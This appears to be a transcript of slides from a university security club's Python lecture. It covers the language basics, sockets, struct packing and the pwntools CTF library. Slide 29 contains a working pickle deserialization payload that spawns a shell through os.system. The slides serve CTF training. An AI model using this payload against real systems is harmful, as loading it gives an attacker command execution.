Python

Bamboofox club lecture

Transcript

1. Python BambooFox & NCTUCSC 1
2. $who am i • ID : bananaapple • 學校科系 : 交通大學網工所 • 年級 : 一年級 • Email: bananaappletw@gmail.com
3. Outline • Introduction • Python • Pip • IPython • Getting Started • Version • Print • Input • Object • Integer • String • List • Arithmetic • Conditional and Comment • Loop and function • Module • Socket • Struct • Pwntools • Vulnerable • Practice • Reference
4. Introduction • Easy • Swift • Grace • Object-oriented • Strong module support • Default built in most environment • Script language
5. Python • Debian GNU / Linux • Python2 sudo apt-get install python2 • Python3 sudo apt-get install python3 • Windows Sorry
6. Pip • Pip is package management for Python • Installation • Python2 sudo apt-get install python2-pip • Python3 sudo apt-get install python3-pip • Windows Sorry
7. IPython • Installation • Python2 sudo apt-get install ipython • Python3 sudo apt-get install ipython3 • Windows Sorry
8. Getting Started • From terminal type python ipython • Save file with file extension .py and type python print.py ipython print.py • Add first line #!/usr/bin/env python • Add executable privilege to file and ./filename execute it chmod +x ./print.py ./print.py
9. Version • Python2 or Python3? • We recommended use Python3 • Almost the same • Except for print • But the pwntools package doesn’t support python3
10. Print • End with newline character • Format output print "%d" % (100) print "{0}{1}".format('hello', 'world') If you want to manually control output use sys.stdout.write() instead • Python2 • Python3
11. Input • raw_input() Read a line from stdin and strip a trailing newline • Python2 raw_input() • Python3 input() Difference: Python3 will run eval(input()) and return
12. Object • Everything in Python is object • an identity ( use id to observe it ) • a value ( immutable and mutable ) • Immutable: Integer, String, Tuple • Mutable: List , Dictionary • When immutable value change id will be different • When mutable value change id will be the same
13. Integer • Declare a variable i = 1 or i = 0x5566 • Print integer as hex i = 0x5566 hex(i) # '0x5566' chr(0x61) # 'a' • Change hex string to integer s = '0x5566' i = int(s,16) print str(i) # 21862 • Convert character to integer ord('a') # 97
14. String • s.strip() 將字串頭尾的 newline 和 space 去掉 • s.find(‘string’) Return 找到 string 的 index • s.replace('old', 'new', [max]) 將 old 字串取代成 new 最多取代 max 次 • s[0:len(s)] s = 'abcde' len(s) # 5 s = s[0:2] # s = 'ab' s = 'abcde' s[::2] # 'ace' s[:-1] # 'abcd' s[::-1] # 'edcba' s[:] # 'abcde'
15. List • Declare with [] lis =[] • lis.append(element) # lis = [element] • lis.remove(element) • lis.sort() • lis.reverse() • Split string include spaces s = 'a b c d e' lis = s.split(' ') # lis = ['a', 'b', 'c', 'd', 'e'] • map( function_name, sequence ) def f(x): return x**2 map(f,range(10)) [0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
16. arithmetic • Add + • Minus - • Multiply * • Divide / • Power ** Ex: 2**3 = 8 • Modulo % Ex : 8 % 3 = 2
17. Conditional and Comment if condition: statement elif condition: statement else: statement • Single line comment begins with # character #Code to be commented out • Multiple line comment """ Code to be commented out Code to be commented out """
18. Loop and function for i in range(N): print(I) will print 0 to N-1 for x in string: print(x) will print every character in the string appended with newline While condition: statement in the loop we could use break or continue to control the loop def function_name ( parameter ): statement return
19. Module • import module • module.name • module.attribute Imports the module X, and creates a reference to that module in the current namespace. Then you need to define completed module path to access a particular attribute or method from inside the module ( e.g.: X.name or X.attribute )
20. Module • from module import * • name • attribute Imports the module X, and creates references to all public objects defined by that module in the current namespace (that is, everything that doesn’t have a name starting with _) or whatever name you mentioned. This makes all names from the module available in the local namespace.
21. Socket from socket import * from telnetlib import * ip = '140.113.209.24' port = 10000 s = socket(AF_INET, SOCK_STREAM) s.connect((ip,port)) t = Telnet() t.sock = s t.interact()
22. Socket • s.recv(buf_size) 收 buf_size 長度的字串 buf = s.recv(4096) • s.send(string) 將 string 送過去 s.send(payload) • s.close() 關閉 socket
23. Struct • Pack the integer into little-indian or big-indian import struct address = 0x0804aabb payload = struct.pack('<I', address) #payload = "\xbb\xaa\x04\x08" address = struct.unpack('<I', payload)[0] hex(address) # address = 0x804aabb
24. Pwntools • pwntools is a CTF framework and exploit development library • Python3 is not supported • Installation sudo apt-get install python-dev git libssl-dev sudo pip install --upgrade pwntools • Usage from pwn import *
25. Pwntools • Context - Setting runtime variables • 32bits context.update(arch='i386', os='linux') • 64bits context.update(arch= 'amd64', os='linux') If you don’t want to see the notice context.log_level = 'error'
26. Pwntools ip = '140.113.209.24' port = 10000 s = socket(AF_INET, SOCK_STREAM) s.connect((ip,port)) • s = remote(ip, port) t = Telnet() t.sock = s t.interact() • s.interactive()
27. Pwntools • Packing integer address = 0x0804aabb payload = struct.pack('<I', address) • Payload = p32(0x0804aabb) • 8 bytes? • Payload = p64(0x0804aabb) • Unpack string to integer payload = "\xbb\xaa\x04\x08" address = struct.unpack('<I', payload)[0] • address = unpack(payload) hex(address) # address = 0x804aabb
28. Pwntools • Too much to list • Shellcode • Working with elf • Working with gdb • Memory leak • Rop chain • Translate assembly to string • Shellcode
29. Vulnerable • Pickle import pickle import os class Exploit(object): def __reduce__(self): comm="sh" return (os.system, (comm,)) a = pickle.dumps(Exploit()) b = pickle.loads(a) Shell 跑出來啦!!!
30. Practice • Hackerrank https://www.hackerrank.com/ • Combination http://ctf.cs.nctu.edu.tw/problems/31 • Pickle http://140.113.194.85:3000/problems/8
31. Reference • 90% of Python in 90 Minutes http://www.slideshare.net/MattHarrison4/learn-90 • From import vs import http://stackoverflow.com/questions/9439480/from-import-vs-import • Angelboy’s CTF note http://angelboy.logdown.com/posts/245988-ctf-notes • Pwntools document https://pwntools.readthedocs.org/en/2.2/about.html